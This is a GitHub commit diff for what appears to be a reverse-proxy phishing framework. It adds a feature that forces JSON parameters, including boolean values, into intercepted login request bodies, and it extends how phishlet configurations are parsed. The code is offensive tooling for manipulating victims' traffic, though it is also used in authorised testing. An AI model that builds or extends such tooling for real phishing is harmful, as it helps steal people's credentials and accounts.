Skip to content

Commit 995d721

Browse files
authored
Merge pull request #1 from vaadata/feature/force_json_tp
feature: force json parameter as boolean (`type: 'boolean'` in force_post key)
2 parents b73f011 + 3f98214 commit 995d721

File tree

2 files changed

+49
-29
lines changed

2 files changed

+49
-29
lines changed

core/http_proxy.go

Lines changed: 35 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -96,11 +96,17 @@ type ProxySession struct {
9696
}
9797

9898
// set the value of the specified key in the JSON body
99-
func SetJSONVariable(body []byte, key string, value interface{}) ([]byte, error) {
99+
func SetJSONVariable(body []byte, key string, value interface{}, tp string) ([]byte, error) {
100100
var data map[string]interface{}
101101
if err := json.Unmarshal(body, &data); err != nil {
102102
return nil, err
103103
}
104+
switch tp {
105+
case "boolean":
106+
value,_ = strconv.ParseBool(value.(string))
107+
default:
108+
// nothing to do since the default is already 'string'
109+
}
104110
data[key] = value
105111
newBody, err := json.Marshal(data)
106112
if err != nil {
@@ -759,40 +765,42 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
759765

760766
// force post json
761767
for _, fp := range pl.forcePost {
762-
if fp.path.MatchString(req.URL.Path) {
763-
log.Debug("force_post: url matched: %s", req.URL.Path)
764-
ok_search := false
765-
if len(fp.search) > 0 {
766-
k_matched := len(fp.search)
767-
for _, fp_s := range fp.search {
768-
matches := fp_s.key.FindAllString(string(body), -1)
769-
for _, match := range matches {
770-
if fp_s.search.MatchString(match) {
771-
if k_matched > 0 {
772-
k_matched -= 1
768+
if fp.tp == "json" {
769+
if fp.path.MatchString(req.URL.Path) {
770+
log.Debug("force_post: url matched: %s", req.URL.Path)
771+
ok_search := false
772+
if len(fp.search) > 0 {
773+
k_matched := len(fp.search)
774+
for _, fp_s := range fp.search {
775+
matches := fp_s.key.FindAllString(string(body), -1)
776+
for _, match := range matches {
777+
if fp_s.search.MatchString(match) {
778+
if k_matched > 0 {
779+
k_matched -= 1
780+
}
781+
log.Debug("force_post: [%d] matched - %s", k_matched, match)
782+
break
773783
}
774-
log.Debug("force_post: [%d] matched - %s", k_matched, match)
775-
break
776784
}
777785
}
778-
}
779-
if k_matched == 0 {
786+
if k_matched == 0 {
787+
ok_search = true
788+
}
789+
} else {
780790
ok_search = true
781791
}
782-
} else {
783-
ok_search = true
784-
}
785-
if ok_search {
786-
for _, fp_f := range fp.force {
787-
body, err = SetJSONVariable(body, fp_f.key, fp_f.value)
788-
if err != nil {
789-
log.Debug("force_post: got error: %s", err)
792+
if ok_search {
793+
for _, fp_f := range fp.force {
794+
body, err = SetJSONVariable(body, fp_f.key, fp_f.value, fp_f.tp)
795+
if err != nil {
796+
log.Debug("force_post: got error: %s", err)
797+
}
798+
log.Debug("force_post: updated body parameter: %s : %s", fp_f.key, fp_f.value)
790799
}
791-
log.Debug("force_post: updated body parameter: %s : %s", fp_f.key, fp_f.value)
792800
}
801+
req.ContentLength = int64(len(body))
802+
log.Debug("force_post: body: %s len:%d", body, len(body))
793803
}
794-
req.ContentLength = int64(len(body))
795-
log.Debug("force_post: body: %s len:%d", body, len(body))
796804
}
797805
}
798806

core/phishlet.go

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -75,6 +75,7 @@ type ForcePostSearch struct {
7575
type ForcePostForce struct {
7676
key string `mapstructure:"key"`
7777
value string `mapstructure:"value"`
78+
tp string `mapstructure:"type"`
7879
}
7980

8081
type ForcePost struct {
@@ -189,6 +190,7 @@ type ConfigForcePostSearch struct {
189190
type ConfigForcePostForce struct {
190191
Key *string `mapstructure:"key"`
191192
Value *string `mapstructure:"value"`
193+
Type *string `mapstructure:"type",default:"string`
192194
}
193195

194196
type ConfigForcePost struct {
@@ -699,8 +701,8 @@ func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[stri
699701
if op.Path == nil || *op.Path == "" {
700702
return fmt.Errorf("force_post: missing or empty `path` field")
701703
}
702-
if op.Type == nil || *op.Type != "post" {
703-
return fmt.Errorf("force_post: unknown type - only 'post' is currently supported")
704+
if op.Type == nil || (*op.Type != "post" && *op.Type != "json") {
705+
return fmt.Errorf("force_post: unknown type - only 'post' and 'json' are currently supported")
704706
}
705707
if op.Force == nil || len(*op.Force) == 0 {
706708
return fmt.Errorf("force_post: missing or empty `force` field")
@@ -741,10 +743,20 @@ func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[stri
741743
if op_f.Value == nil {
742744
return fmt.Errorf("force_post: missing force `value` field")
743745
}
746+
tp := ""
747+
if op_f.Type == nil {
748+
tp = "string"
749+
} else {
750+
if *op_f.Type != "boolean" && *op_f.Type != "string" {
751+
return fmt.Errorf("force_post: unknown force type - only 'boolean' and 'string' (default) are currently supported")
752+
}
753+
tp = *op_f.Type
754+
}
744755

745756
f_f := ForcePostForce{
746757
key: p.paramVal(*op_f.Key),
747758
value: p.paramVal(*op_f.Value),
759+
tp: p.paramVal(tp),
748760
}
749761
fpf.force = append(fpf.force, f_f)
750762
}

0 commit comments

Comments
 (0)